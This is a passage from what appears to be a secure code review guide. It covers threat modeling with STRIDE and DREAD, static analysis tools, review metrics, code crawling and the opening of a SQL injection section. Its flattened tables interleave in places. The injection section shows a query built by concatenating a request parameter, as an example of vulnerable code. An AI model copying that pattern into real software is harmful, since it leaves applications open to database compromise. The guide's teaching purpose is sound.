should understand the attack surface, identify the different threat agents and their motivations, and how they could potentially attack the applica- tion. For the software developer whose code is being reviewed, performing code review can feel like an audit and devel- opers may find it challenging to not take the feedback personally. A way to approach this is to create an atmosphere of collaboration be-tween the reviewer, the development team, the business representatives, and any other vested interests. Por-traying the image of an advisor and not a policeman is important to get co-operation from the devel- opment team. The extent to which information gathering occurs will depend on the size of the organization, the skill set of the re- viewers, and the criticality/risk of the code being reviewed. A small change to the CSS file in a 20- person start-up will not result in a full threat model and a separate secure review team. At the same time a new single sign-on authentica- tion module in a multi-billion dollar company will not be secure code reviewed by a person who once read an article on secure coding. Even within the same organization, high-risk modules or applications may get threat modeled, where the lower risk modules can be reviewed with a lesser emphasis on the reviewer understanding the security model of the module. This section will present the basic items the reviewer (or review team) should attempt to understand about the ap- plication subjected to a secure code review. This can be used in smaller companies that don’t have the resources to create a full security baseline, or on low risk code within larger companies. A later section goes into detail on threat modeling, which would be used by larger companies on their highest risk code bases. In an ideal world the reviewer would be involved in the design phase of the application, but this is rarely the case. However regardless of the size of the code change, the engineer initiating the code review should direct reviewers to any relevant architecture or design documents. The easiest way to do this is to include a link to the documents (as- suming they’re stored in an online document repository) in the initial e-mail, or in the code review tool. The reviewer can then verify that the key risks have been properly addressed by security controls and that those controls are used in the right places. To effectively conduct the review the reviewer should develop familiarity with the following aspects: Application features and Business Rules The reviewer should understand all the features currently provided by the application and capture all the business restrictions/rules related to them. There is also a case for being mindful of potential future functionality that might be on the roadmap for an application, thereby future-proofing the security decisions made during current code reviews. What are the consequences of this system failing? Shall the enterprise be affected in any great way if the application cannot perform its functions as intended? Context All security is in context of what we are trying to secure. Recommending military standard security mechanisms on an application that vends apples would be overkill and out of context. What type of data is being manipulated or processed, and what would the damage to the company be if this data was compromised? Context is the “Holy Grail” of secure code inspection and risk assessment. Methodology 27 Sensitive Data The reviewer should also make a note of the data entities like account numbers and passwords that are sensitive to the application. The categorizing the data entities based on their sensitivity will help the reviewer to determine the im-pact of any kind of data loss in the application. User roles and access rights It is important to understand the type of users allowed to access the application. Is it externally facing or internal to “trusted” users? Generally an application that is accessible only for the internal users of an organization might be exposed to threats that are different than the one that is available for anyone on the Internet. Hence, knowing the users of the application and its deployed environment would allow the reviewer to realize the threat agents correctly. In addition to this, the different privileges levels present in the application must also be understood. It would help the reviewer to enumerate different security violations/privilege escalation attacks that can be applicable to the ap- plication. Application type This refers to understanding whether the application is browser based application, a desktop based standalone ap- plication, a web-service, a mobile applications or a hybrid application. Different type of application faces different kinds of security threats and understanding the type of the application would help the reviewer to look for specific security flaws, determine correct threats agents and highlight necessary controls suitable to the application. Code The language(s) used, the features and issues of that language from a security perspective. The issues a programmer needs to look out for and language best practices from a security and performance perspective. Design Generally web applications have a well-defined code layout if they are developed using MVC design principle. Appli- cations can have their own custom design or they may use some well-known design frameworks like Struts/Spring etc. Where are the application properties/configuration parameters stored? How is the business class identified for any feature/URL? What types of classes get executed for any processing any request? (e.g. centralized controller, command classes, view pages etc.) How is the view rendered to the users for any request? Company Standards and Guidelines Many companies will have standards and guidelines dictated by management. This is how the management (ulti- mately responsible for the organizations information security) control what levels of security are applied to various functions, and how they should be applied. For example, if the company has a Secure Coding Guidelines document, reviewers should know and understand the guidelines and apply them during the code review. 6.7 Code Review Discovery and Gathering Information The reviewers will need certain information about the application in order to be effective. Frequently, this informa- tion can be obtained by studying design documents, business requirements, functional specifications, test results, and the like. However, in most real-world projects, the documentation is significantly out of date and almost never has appropriate security information. If the development organization has procedures and templates for architecture and design documents, the reviewer can suggest updates to ensure security is considered (and documented) at these phases. If the reviewers are initially unfamiliar with the application, one of the most effective ways to get started is to talk with the developers and the lead architect for the application. This does not have to be a long meeting, it could be a whiteboard session for the development team to share some basic information about the key security considerations Methodology 28 and controls. A walkthrough of the actual running application is very helpful to give the reviewers a good idea about how the application is intended to work. Also a brief overview of the structure of the code base and any libraries used can help the reviewers get started. If the information about the application cannot be gained in any other way, then the reviewers will have to spend some time doing reconnaissance and sharing information about how the application appears to work by examining the code. Preferably this information can then be documented to aid future reviews. Security code review is not simply about the code structure. It is important to remember the data; the reason that we review code is to ensure that it adequately protects the information and assets it has been entrusted with, such as money, intellectual property, trade secrets, or lives. The context of the data with which the application is intended to process is very important in establishing potential risk. If the application is developed using an inbuilt/well-known design framework the answers to the most of these questions would be pre-defined. But, in case it is custom then this information will surely aid the review process, mainly in capturing the data flow and internal validations. Knowing the architecture of the application goes a long way in understanding the security threats that can be applicable to the application. A design is a blueprint of an application; it lays a foundation for its development. It illustrates the layout of the appli- cation and identifies different application components needed for it. It is a structure that determines execution flow of the application. Most of the application designs are based on a concept of MVC. In such designs different compo- nents interact with each other in an ordered sequence to serve any user request. Design review should be an integral part of secure software development process. Design reviews also help to implementing the security requirements in a better way. Collecting all the required information of the proposed design including flow charts, sequence diagrams, class dia- grams and requirements documents to understand the objective of the proposed design. The design is thoroughly studied mainly with respect to the data flow, different application component interactions and data handling. This is achieved through manual analysis and discussions with the design or technical architect’s team. The design and the architecture of the application must be understood thoroughly to analyze vulnerable areas that can lead to security breaches in the application. After understanding the design, the next phase is to analyze the threats to the design. This involves observing the design from an attacker’s perspective and uncovering the backdoors and insecure areas present in it. Table 4 below Methodology Existing security controls • Are there any known weaknesses in third-part security controls • Is the placements of security controls correct? Architecture • Are connections to external servers secure? • Are inputs from external sources validated? Configuration files and data stores • Is there any sensitive data in configuration files? • Who has access to configuration or data files? Authentication and access control • Does the design implement access control for all resources? • Are sessions handled correctly? • What functionality can be accessed without authentication? Design Area Questions to consider Data Flow • Are user inputs used to directly reference business logic? • Is there potential for data binding flaws? • Is the execution flow correct in failure cases? Table 4: Example Design Questions During Secure Code Review 29 highlights some questions that can be asked of the architecture and design to aid secure code reviews. Every security requirement should be associated with a security control best suited for the design. Here, we would identify exact changes or additions to be incorporated in the design that are needed to meet any requirement or mitigate a threat. The list of security requirements and proposed controls can be then discussed with the develop- ment teams. The queries of the teams should be addressed and feasibility of incorporating the controls must be determined. Exceptions, if any must be taken into account and alternate recommendations should be proposed. In this phase a final agreement on the security controls is achieved. The final design incorporated by the development teams can be reviewed again and finalized for further development process. 6.8 Static Code Analysis Static Code Analysis is carried out during the implementation phase of S-SDLC. Static code analysis commonly refers to running static code analysis tools that attempt to highlight possible vulnerabilities within the ‘static’ (non-running) source code. Ideally static code analysis tools would automatically find security flaws with few false positives. That means it should have a high degree of confidence that the bugs that it finds are real flaws. However, this ideal is beyond the state of the art for many types of application security flaws. Thus, such tools frequently serve as aids for an analyst to help them zero in on security relevant portions of code so they can find flaws more efficiently, rather than a tool that finds all flaws automatically. Bugs may exist in the application due to insecure code, design or configuration. Automated analysis can be carried on the application code to identify bugs through either of the following two options: Methodology Defining a generic checklist, which the development team can fill out can give reviewers the desired context. The checklist is a good barometer for the level of security the developers have attempted or thought of. If security code review becomes a common requirement, then this checklist can be incorporated into a development pro- cedure (e.g. document templates) so that the information is always available to code reviewers. See Appendix A for a sample code review checklist. The checklist should cover the most critical security controls and vulnerability areas such as: • Data Validation • Authentication • Session Management • Authorization • Cryptography • Error Handling • Logging • Security Configuration • Network Architecture Code Review Checklist 30 1. Static code scanner scripts based on a pattern search (in-house and open source). 2. Static code analyzers (commercial and open source). Advantages and disadvantages of source code scanners are shown in tables 5 and 6. Though code scanning scripts and open source tools can be efficient at finding insecure code patterns, they often lack the capability of tracing the data flow. This gap is filled by static code analyzers, which identify the insecure code patterns by partially (or fully) compiling the code and investigating the execution branches, allowing for source to sink analysis. Static code analyzers and scanners are comprehensive options to complement the process of code review. Choosing a static analysis tool Choosing a static analysis tool is a difficult task since there are a lot of choices. The comparison charts below could help organization decide which tool is right for them, although this list is not exhaustive. Methodology Source to sink analysis Some analyzers can trace the code and identify the vulnerabilities through source to sink analysis. They identify possible inputs to the application and trace them thoroughly throughout the code until they find them to be associated with any insecure code pattern. Such a source to sink analysis helps the developers in understanding the flaws better as they get a complete root cause analysis of the flaw Elaborate reporting format Scanners provide a detailed report on the observed vulnerabilities with exact code snippets, risk rating and complete description of the vulnerabilities. This helps the development teams to easily understand the flaws and implement necessary controls Advantage Explanation Reduction in manual efforts The type of patterns to be scanned for remains common across applications, computers are better at such scans than humans. In this scenario, scanners play a big role is automating the process of searching the vulnerabilities through large codebases. Find all the instances of the vulnerabilities Scanners are very effective in identifying all the instances of a particular vulnerability with their exact location. This is helpful for larger code base where tracing for flaws in all the files is difficult. Table 5: Advantages To Using Source Code Scanners Limitation Explanation Business logic flaws remain untouched The flaws that are related to application’s business logic, transactions, and sensitive data remain untouched by the scan- ners. The security controls that need to be implemented in the application specific to its features and design are often not pointed by the scanners. This is considered as the biggest limitation of static code analyzers. Limited scope Static code analyzers are often designed for specific frameworks or languages and within that scope they can search for a certain set of vulnerable patterns. Outside of this scope they fail to address the issues not covered in their search pattern repository. Design flaws Design flaws are not specific to the code structure and static code analyzers focus on the code. A scanner/analyzer will not spot a design issue when looking at the code, whilst a human can often identify design issues when looking at their implementation. False positives Not all of the issues flagged by static code analyzers are truly issues, and thus the results from these tools need to be understood and triaged by an experienced programmer who understands secure coding. Therefore anyone hoping that secure code checking can be automated and run at the end of the build will be disappointed, and there is still a deal of manual intervention required with analyzers. Table 6: Disadvantages To Using Source Code Scanners 31 Some of the criteria for choosing a tool are: • Does the tool support the programming language used? • Is there a preference between commercial or free tools? Usually the commercial tools have more features and are more reliable than the free ones, whilst their usability might differ. • What type of analysis is being carried out? Is it security, quality, static or dynamic analysis? The next step requires that some work is done since it is quite subjective. The best thing to do is to test a few tools to see if the team is satisfied with different aspects such as the user experience, the reporting of vulnerabilities, the level of false positives and the customization and the customer support. The choice should not be based on the number of features, but on the features needed and how they could be integrated in the S-SDLC. Also, before choosing the tool, the expertise of the targeted users should be clearly evaluated in order to choose an appropriate tool. 6.9 Application Threat Modeling Threat modeling is an in-depth approach for analyzing the security of an application. It is a structured approach that enables employees to identify, quantify, and address the security risks associated with an application. Threat model- ing is not an approach to reviewing code, but it complements the secure code review process by providing context and risk analysis of the application. The inclusion of threat modeling in the S-SDLC can help to ensure that applications are being developed with securi- ty built-in from the very beginning. This, combined with the documentation produced as part of the threat modeling process, can give the reviewer a greater understanding of the system, allows the reviewer to see where the entry points to the application are (i.e. the attack surface) and the associated threats with each entry point (i.e. attack vec- tors). The concept of threat modeling is not new but there has been a clear mind-set change in recent years. Modern threat modeling looks at a system from a potential attacker’s perspective, as opposed to a defender’s viewpoint. Many com- panies have been strong advocates of the process over the past number of years, including Microsoft who has made threat modeling a core component of their S-SDLC, which they claim to be one of the reasons for the increased se- curity of their products in recent years. When source code analysis is performed outside the S-SDLC, such as on existing applications, the results of the threat modeling help in reducing the complexity of the source code analysis by promoting a risk based approach. Instead of reviewing all source code with equal focus, a reviewer can prioritize the security code review of components whose threat modeling has ranked with high risk threats. The threat modeling process can be decomposed into 3 high level steps: 6.9.1. Step 1: Decompose the Application. The first step in the threat modelling process is concerned with gaining an understanding of the application and how it interacts with external entities. This involves creating use-cases to understand how the application is used, identi- fying entry points to see where a potential attacker could interact with the application, identifying assets i.e. items/ areas that the attacker would be interested in, and identifying trust levels which represent the access rights that the application will grant to external entities. This information is documented in the threat model document and it is also used to produce data flow diagrams (DFDs) for the application. The DFDs show the different data paths through the system, highlighting the privilege (trust) boundaries. Methodology 32 Items to consider when decomposing the application include External Dependencies External dependencies are items external to the code of the application that may pose a threat to the application. These items are typically still within the control of the organization, but possibly not within the control of the de- velopment team. The first area to look at when investigating external dependencies is how the application will be deployed in a production environment. This involves looking at how the application is or is not intended to be run. For example if the application is expected to be run on a server that has been hardened to the organization’s hardening standard and it is expected to sit behind a firewall, then this information should be documented. Entry Points Entry points (aka attack vectors) define the interfaces through which potential attackers can interact with the appli- cation or supply it with data. In order for a potential attacker to attack an application, entry points must exist. Entry points in an application can be layered, for example each web page in a web application may contain multiple entry points. Assets The system must have something that the attacker is interested in; these items/areas of interest are defined as assets. Assets are essentially threat targets, i.e. they are the reason threats will exist. Assets can be both physical assets and abstract assets. For example, an asset of an application might be a list of clients and their personal information; this is a physical asset. An abstract asset might be the reputation of an organization. Determining the Attack Surface The attack surface is determined by analyzing the inputs, data flows and transactions. A major part of actually per- forming a security code review is performing an analysis of the attack surface. An application takes inputs and pro- duces output of some kind. The first step is to identify all input to the code. Inputs to the application may include the bullet points below and figure 4 describes an example process for identi- fying an applications input paths: • Browser input • Cookies • Property files • External processes • Data feeds • Service responses • Flat files • Command line parameters • Environment variables Methodology 33 Methodology TRANSITIONAL ANALYSIS INITIATION IDENTIFY INPUT PATHS IDENTIFY AREAS OF LATE & DY- NAMIC BINDING FOLLOW PATH EACH PARAME- TER THROUGH CODE IDENTIFY AREAS OF CONFIG FILE REFERENCE IDENTIFY ATTACK SURFACE INPUT PARAMETERS (USER) INPUT PARAMETERS (CONFIG) IDENTIFY ATTACK SURFACE IDENTIFY ATTACK SURFACE IDENTIFY ATTACK SURFACE INPUT PARAMETERS (CONTROL) INPUT PARAMETERS (BLACKEND) Figure 4: Example process diagram for identifying input paths 34 Methodology Trust Levels Trust levels represent the access rights that the application will grant to external entities. The trust levels are cross-ref- erenced with the entry points and assets. This allows a team to define the access rights or privileges required at each entry point, and those required to interact with each asset. Data flow analysis Exploring the attack surface includes dynamic and static data flow analysis. Where and when variables are set and how the variables are used throughout the workflow, how attributes of objects and parameters might affect other data within the program. It determines if the parameters, method calls, and data exchange mechanisms implement the required security. Transaction analysis Transaction analysis is needed to identify and analyze all transactions within the application, along with the relevant security functions invoked. The areas that are covered during transaction analysis are: • Data/Input Validation of data from all untrusted sources • Authentication • Session Management • Authorization • Cryptography (data at rest and in transit) • Error Handling /Information Leakage • Logging /Auditing Data Flow Diagrams All of the information collected allows an accurately model the application through the use of Data Flow Diagrams (DFDs). The DFDs will allow the employee to gain a better understanding of the application by providing a visual representation of how the application processes data. The focus of the DFDs is on how data moves through the application and what happens to the data as it moves. DFDs are hierarchical in structure, so they can be used to decompose the application into subsystems. The high level DFD will allow the employee to clarify the scope of the application being modelled. The lower level iterations will allow more focus on the specific processes involved when processing specific data. There are a number of symbols that are used in DFDs for threat modelling, as show in the following table 7 below: The process shape represents a task that handles data within the application. The task may process the data or perform an action based on the data. PROCESS Methodology ELEMENT IMAGE DESCRIPTION The external entity shape is used to represent any entity outside the application that interacts with the application via an entry point. EXTERNAL ENTITY Table 7: Threat Modeling Symbols 35 DFDs show how data moves logically through the system and allows the identification data entering or leav- ing the system along with the storage of data and the flow of control through these components. Trust bound- aries show any location where the level of trust changes. Process components show where data is processed, such as web servers, application servers, and database servers. Entry points show where data enters the sys- tem (i.e. input fields, methods) and exit points are where it leaves the system (i.e. dynamic output, methods), respectively. Entry and exit points define a trust boundary. 6.9.2 Step 2: Determine and rank threats Critical to the identification of threats is using a threat categorization methodology. A threat categorization such as STRIDE can be used, or the Application Security Frame (ASF) that defines threat categories such as Au- diting & Logging, Authentication, Authorization, Configuration Management, Data Protection in Storage and Transit, Data Validation and Exception Management. The goal of the threat categorization is to help identify threats both from the attacker (STRIDE) and the defen- sive perspective (ASF). DFDs produced in step 1 help to identify the potential threat targets from the attacker’s perspective, such as data sources, processes, data flows, and interactions with users. These threats can be identified further as the roots for threat trees; there is one tree for each threat goal. From the defensive perspective, ASF categorization helps to identify the threats as weaknesses of security controls for such threats. Common threat-lists with examples can help in the identification of such threats. Use and abuse cases can illustrate how existing protective measures could be bypassed, or where a lack of such protection exists. The determination of the security risk for each threat can be determined using a value-based risk model such as DREAD or a less subjective qualitative risk model based upon general risk factors (e.g. likelihood and im- pact). The first step in the determination of threats is adopting a threat categorization. A threat categorization pro- Methodology The multiple process shape is used to present a collection of subprocesses. The multiple process can be broken down into its subprocesses in another DFD. MULTIPLE PROCESS The data flow shape represents data movement within the application. The direction of the data movement is represent- ed by the arrow. DATA FLOW The privilege boundary shape is used to represent the change of privilege levels as the data flows through the application. PRIVILEGE BOUNDARY The data store shape is used to represent locations where data is stored. Data stores do not modify the data, they only store data. DATA STORE 36 vides a set of threat categories with corresponding examples so that threats can be systematically identified in the application in a structured and repeatable manner. STRIDE Threat lists based on the STRIDE model are useful in the identification of threats with regards to the attacker goals. For example, if the threat scenario is attacking the login, would the attacker brute force the password to break the authentication? If the threat scenario is to try to elevate privileges to gain another user’s privileges, would the attacker try to perform forceful browsing? A threat categorization such as STRIDE is useful in the identification of threats by classifying attacker goals such as shown in table 8. It is vital that all possible attack vectors should be evaluated from the attacker’s point of view. For example, the login page allows sending authentication credentials, and the input data accepted by an entry point has to validate for potential malicious input to exploit vulnerabilities such as SQL injection, cross site scripting, and buffer overflows. Additionally, the data flow passing through that point has to be used to determine the threats to the entry points to the next components along the flow. If the following components can be regarded critical (e.g. the hold sensitive data), that entry point can be regarded more critical as well. In an end to end data flow the input data (i.e. username and password) from a login page, passed on without validation, could be exploited for a SQL injection attack to ma- nipulate a query for breaking the authentication or to modify a table in the database. Exit points might serve as attack points to the client (e.g. XSS vulnerabilities) as well for the realization of information disclosure vulnerabilities. In the case of exit points from components handling confidential data (e.g. data access components), any exit points lacking security controls to protect the confidentiality and integrity can lead to disclo- sure of such confidential information to an unauthorized user. In many cases threats enabled by exit points are related to the threats of the corresponding entry point. In the login example, error messages returned to the user via the exit point might allow for entry point attacks, such as account Methodology STRIDE Explanation Spoofing “Identity spoofing” is a key risk for applications that have many users but provide a single execution context at the ap- plication and database level. In particular, users should not be able to become any other user or assume the attributes of another user. Tampering Users can potentially change data delivered to them, return it, and thereby potentially manipulate client-side valida- tion, GET and POST results, cookies, HTTP headers, and so forth. The application should also carefully check data re- ceived from the user and validate that it is sane and applicable before storing or using it. Repudiation Users may dispute transactions if there is insufficient auditing or recordkeeping of their activity. For example, if a user says they did not make a financial transfer, and the functionality cannot track his/her activities through the application, then it is extremely likely that the transaction will have to be written off as a loss. Information Disclosure Denial of Service Elevation of Privilege Users are rightfully wary of submitting private details to a system. Is possible for an attacker to publicly reveal user data at large, whether anonymously or as an authorized user? Application designers should be aware that their applications may be subject to a denial of service attack. The use of expensive resources such as large files, complex calculations, heavy-duty searches, or long queries should be reserved for authenticated and authorized users, and not available to anonymous users. If an application provides distinct user and administrative roles, then it is vital to ensure that the user cannot elevate his/her role to a higher privilege one. Table 8: Explanation Of The Stride Attributes 37 Methodology harvesting (e.g. username not found), or SQL injection (e.g. SQL exception errors). From the defensive perspective, the identification of threats driven by security control categorization such as ASF allows a threat analyst to focus on specific issues related to weaknesses (e.g. vulnerabilities) in security controls. Typically the process of threat identi- fication involves going through iterative cycles where initially all the possible threats in the threat list that apply to each component are evaluated. At the next iteration, threats are further analyzed by exploring the attack paths, the root causes (e.g. vulnerabilities) for the threat to be exploited, and the necessary mitigation controls (e.g. counter- measures). Once common threats, vulnerabilities, and attacks are assessed, a more focused threat analysis should take in con- sideration use and abuse cases. By thoroughly analyzing the use scenarios, weaknesses can be identified that could lead to the realization of a threat. Abuse cases should be identified as part of the security requirement engineering activity. These abuse cases can illustrate how existing protective measures could be bypassed, or where a lack of such protection exists. Finally, it is possible to bring all of this together by determining the types of threat to each compo- nent of the decomposed system. This can be done by repeating the techniques already discussed on a lower level threat model, again using a threat categorization such as STRIDE or ASF, the use of threat trees to determine how the threat can be exposed by vulnerability, and use and misuse cases to further validate the lack of a countermeasure to mitigate the threat. Microsoft DREAD threat-risk ranking model In the Microsoft DREAD threat-risk ranking model, the technical risk factors for impact are Damage and Affected Us- ers, while the ease of exploitation factors are Reproducibility, Exploitability and Discoverability. This risk factorization allows the assignment of values to the different influencing factors of a threat. To determine the ranking of a threat, the threat analyst has to answer basic questions for each factor of risk, for ex- ample: The impact mainly depends on the damage potential and the extent of the impact, such as the number of components that are affected by a threat. Damage How big would the damage be if the attack succeeded? Can an attacker completely take over and manipulate the system? Can an attacker crash the system? Reproducibility How easy is it to reproduce an attack to work? Can the exploit be automated? Exploitability How much time, effort, and expertise is needed to exploit the threat? Does the attacker need to be authenticated? Affected Users Discoverability If a threat were exploited, what percentage of users would be affected? Can an attacker gain administrative access to the system? How easy is it for an attacker to discover this threat? DREAD Questions Table 9: Explanation Of The Dread Attributes 38 These questions help in the calculation of the overall risk values by assigning qualitative values such as High, Medium and Low to Likelihood and Impact factors. In this case, using qualitative values, rather than numeric ones like in the case of the DREAD model, help avoid the ranking becoming overly subjective. 6.9.3 Step 3: Determine countermeasures and mitigation. A lack of protection against a threat might indicate a vulnerability whose risk exposure could be mitigated with the implementation of a countermeasure. Such countermeasures can be identified using threat-counter- measure mapping lists. Once a risk ranking is assigned to the threats, it is possible to sort threats from the high- est to the lowest risk, and prioritize the mitigation effort, such as by responding to such threats by applying the identified countermeasures. The risk mitigation strategy might involve evaluating these threats from the business impact that they pose and establishing countermeasures (or design changes) to reduce the risk. Other options might include accepting the risk, assuming the business impact is acceptable because of com- pensating controls, informing the user of the threat, removing the risk posed by the threat completely, or the least preferable option, that is, to do nothing. If the risk identified is extreme, the functionality or product could be discontinued, as the risk of something going wrong is greater than the benefit. The purpose of the countermeasure identification is to determine if there is some kind of protective measure (e.g. security control, policy measures) in place that can prevent each threat previously identified via threat analysis from being realized. Vulnerabilities are then those threats that have no countermeasures. Since each of these threats has been categorized either with STRIDE or ASF, it can be possible to find appropri- ate countermeasures in the application within the given category. Each of the above steps is documented as they are carried out. The resulting set of documents is the threat model for the application. Detailed examples of how to carry out threat modeling is given in Appendix B. Threat Profile Once threats and corresponding countermeasures are identified it is possible to derive a threat profile with the following criteria: A more generic risk model takes into consideration the Likelihood (e.g. probability of an attack) and the Impact (e.g. damage potential): Risk = Likelihood x Impact Note that this is a conceptual formula and is not expected to use actual values for likelihood and impact. The likelihood or probability is defined by the ease of exploitation, which mainly depends on the type of threat and the system characteristics, and by the possibility to realize a threat, which is determined by the existence of an appropriate countermeasure. Likelihood Methodology 39 6.10 Metrics and Code Review Metrics measure the size and complexity of a piece of code. There is a long list of quality and security char- acteristics that can be considered when reviewing code (such as, but not limited to, correctness, efficiency, portability, maintainability, reliability and securability). No two-code review sessions will be the same so some judgment will be needed to decide the best path. Metrics can help decide the scale of a code review. Metrics can also be recorded relating to the performance of the code reviewers and the accuracy of the review process, the performance of the code review function, and the efficiency and effectiveness of the code review function. The figure 5 describes the use of metrics throughout the code review process. Some of the options for calculating the size of a review task include: Lines of Code (LOC): A count of the executable lines of code (commented-out code or blank lines are not counted). This gives a rough estimate but is not particularly scientific. Function Point: The estimation of software size by measuring functionality. The combination of a number of statements which perform a specific task, independent of programming language used or development methodology. In an object orientated language a class could be a functional point. Defect Density: The average occurrence of programming faults per Lines of Code (LOC). This gives a high level view of the code quality but not much more. Fault density on its own does not give rise to a pragmatic metric. Defect density would cover minor issues as well as major security flaws in the code; all are treated the same way. Security of code cannot be judged accurately using defect density alone. Risk Density: Similar to defect density, but discovered issues are rated by risk (high, medium & low). In doing this we can give insight into the quality of the code being developed via a [X Risk / LoC] or [Y Risk / Function Point] value (X&Y being high, medium or low risks) as defined by internal application development policies and standards. For example: 4 High Risk Defects per 1000 (Lines of Code) 2 Medium Risk Defects per 3 Function Points Threat Type Description Non-mitigated threats Threats which have no countermeasures and represent vulnerabilities that can be fully exploited and cause an impact. Partially mitigated threats Threats partially mitigated by one or more countermeasures, which represent vulnerabilities that can only partially be exploited and cause a limited impact. Fully mitigated threats These threats have appropriate countermeasures in place and do not expose vulnerability and cause impact. Table 10: Types Of Mitigated Threats Methodology 40 Methodology PERSIST METRICS PERFORM REVIEW CODE SUBMITED FOR SCR CODE RESUBMITED FOR RE-REVIEW HAS CONTEXT OF CODE BEEN DEFINED RECOMENDED CODE TRIAGE MEETING DEFINE CRITERIA PROJECT OR VULNERABILITY BASED CODE REVIEW DATABASE TREND ANALYSIS RECORD FINDINGS DEVELOP METRICS PREVIOUS FINDINGS STANDARDS GUIDELINES POLICIES NO YES COMMUNICATE RESULTS TO TEAM The Use of Metrics Throughout The Code Review Process Figure 5: Example process diagram for identifying input paths 41 Cyclomatic complexity (CC): A static analysis metric used to assist in the establishment of risk and stability estimations on an item of code, such as a class, method, or even a complete system. It was defined by Thomas McCabe in the 70’s and it is easy to calculate and apply, hence its usefulness. The McCabe cyclomatic complexity metric is designed to indicate a program’s testability, understandability and maintainability. This is accomplished by measuring the control flow structure, in order to predict the diffi- culty of understanding, testing, maintaining, etc. Once the control flow structure is understood one can gain a realization of the extent to which the program is likely to contain defects. The cyclomatic complexity metric is intended to be independent of language and language format that measures the number of linearly indepen- dent paths through a program module. It is also the minimum number of paths that should be tested. By knowing the cyclomatic complexity of the product, one can focus on the module with the highest com- plexity. This will most likely be one of the paths data will take, thus able to guide one to a potentially high risk location for vulnerabilities. The higher the complexity the greater potential for more bugs. The more bugs the higher the probability for more security flaws. Does cyclomatic complexity reveal security risk? One will not know until after a review of the security posture of the module. The cyclomatic complexity metric provides a risk-based approach on where to begin to review and analyze the code. Securing an application is a complex task and in many ways complexity an enemy of security as software complexity can make software bugs hard to detect. Complexity of software increases over time as the product is updated or maintained. Cyclomatic complexity can be calculated as: CC = Number of decisions +1 … where a decision would be considered as commands where execution is branched with if/else, switch, case, catch, while, do, templated class calls, etc., As the decision count increases, so do the complexity and the number of paths. Complex code leads to less stability and maintainability. The more complex the code, the higher risk of defects. A company can establish thresholds for cyclomatic complexity for a module: 0-10: Stable code, acceptable complexity 11-15: Medium Risk, more complex 16-20: High Risk code, too many decisions for a unit of code. Modules with a very high cyclomatic complexity are extremely complex and could be refactored into smaller methods. Bad Fix Probability: This is the probability of an error accidentally inserted into a program while trying to fix a previous error, known in some companies as a regression. Cyclomatic Complexity: 1 – 10 == Bad Fix Probability: 5% Cyclomatic Complexity: 20 –30 == Bad Fix Probability: 20% Cyclomatic Complexity: > 50 == Bad Fix Probability: 40% Cyclomatic Complexity: Approaching 100 == Bad Fix Probability: 60% As the complexity of software increase so does the probability to introduce new errors. Methodology 42 Inspection Rate: This metric can be used to get a rough idea of the required duration to perform a code review. The inspection rate is the rate of coverage a code reviewer can cover per unit of time. For example, a rate of 250 lines per hour could be a baseline. This rate should not be used as part of a measure of review quality, but simply to deter- mine duration of the task. Defect Detection Rate: This metric measure the defects found per unit of time. Again, can be used to measure performance of the code review team, but not to be used as a quality measure. Defect detection rate would normally increase as the inspection rate (above) decreases. Re-inspection Defect Rate: The rate at which upon re-inspection of the code more defects exist, some defects still exist, or other defects manifest through an attempt to address previously discovered defects (regressions). 6.11 Crawling Code Crawling code is the practice of scanning a code base of the review target and interface entry points, looking for key code pointers wherein possible security vulnerability might reside. Certain APIs are related to inter- facing to the external world or file IO or user management, which are key areas for an attacker to focus on. In crawling code we look for APIs relating to these areas. We also need to look for business logic areas which may cause security issues, but generally these are bespoke methods which have bespoke names and cannot be de- tected directly, even though we may touch on certain methods due to their relationship with a certain key API. We also need to look for common issues relating to a specific language; issues that may not be security related but which may affect the stability/availability of the application in the case of extraordinary circumstances. Other issues when performing a code review are areas such a simple copyright notice in order to protect one’s intellectual property. Generally these issues should be part of a companies Coding Guidelines (or Standard), and should be enforceable during a code review. For example a reviewer can reject a code review because the code violates something in the Coding Guidelines, regardless of whether or not the code would work in its current state. Crawling code can be done manually or in an automated fashion using automated tools. However working manually is probably not effective, as (as can be seen below) there are plenty of indicators, which can apply to a language. Tools as simple as grep or wingrep can be used. Other tools are available which would search for keywords relating to a specific programming language. If a team is using a particular review tool that allows it to specify strings to be highlighted in a review (e.g. Python based review tools using pygments syntax high- lighter, or an in-house tool for which the team can change the source code) then they could add the relevant string indicators from the lists below and have them highlighted to reviewers automatically. The basis of the code review is to locate and analyze areas of code, which may have application security impli- cations. Assuming the code reviewer has a thorough understanding of the code, what it is intended to do, and the context in which it is to be used, firstly one needs to sweep the code base for areas of interest. Appendix C gives practical examples of how to carry out code crawling in the following programming lan- guages: • .Net • Java • ASP • C++/Apache Methodology 43 A1 44 A1 - Injection 7.1 Overview What is Injection? Injection attacks allow a malicious user to add or inject content and commands into an application in order to modify its behaviour. These types of attacks are common, widespread, an easy for a hacker to test if a web site is vulnerable and easy and quick for the attacker to take advantage of. Today they are very common in legacy applications that haven’t been updated. 7.2 SQL Injection The most common injection vulnerability is SQL injection. Injection vulnerability is also easy to remediate and protect against. This vulnerability covers SQL, LDAP, Xpath, OS commands, XML parsers. Injection vulnerability can lead to… 1. Disclosure/leaking of sensitive information. 2. Data integrity issues. SQL injection may modify data, add new data, or delete data. 3. Elevation of privileges. 4. Gaining access to back-end network. SQL commands are not protected from the untrusted input. SQL parser is not able to distinguish between code and data. Using string concatenation to generate a SQL statement is very common in legacy applications where de- velopers were not considering security. The issue is this coding technique does not tell the parser which part of the statement is code and which part is data. In situations where user input is concatenated into the SQL statement, an attacker can modify the SQL statement by adding SQL code to the input data. 1. Untrusted input is acceptable by the application. There are several ways to mitigate injection vulnerability, whitelisting, regex, etc. The five best ways are. All five should be used together for a defense in depth approach. 1. HtmlEncode all user input. 2. Using static analysis tools. Most static analysis for languages like .Net, Java, python are accurate. However static analysis can become an issue when injection comes from JavaScript and CSS. 3. Parameterize SQL queries. Use SQL methods provided by the programming language or framework that parameterize the statements, so that the SQL parser can distinguish between code and data. INJECTION A1 SELECT custName, address1 FROM cust_table WHERE custID= ‘“ + request.GetParameter(“id”) + ““ String custQuery = Code Data 45 4. Use Stored Procedures. Stored procedures will generally help the SQL parser differentiate code and data. However Stored Procedures can be used to build dynamic SQL statements allowing the code and data to be- come blended together causing the it to become vulnerable to injection. 5. Provide developer training for best practices for secure coding. Blind SQL Injection Typically SQL queries return search results that are presented to a user. However, there are cases where SQL queries are happening behind the scenes that influence how the page is rendered, and unfortunately attack- ers can still glean information based on the error responses from various UI elements. Blind SQL injection is a type of attack that asks the database true or false questions and determines the answer based on the applica- tions response. Effectively the 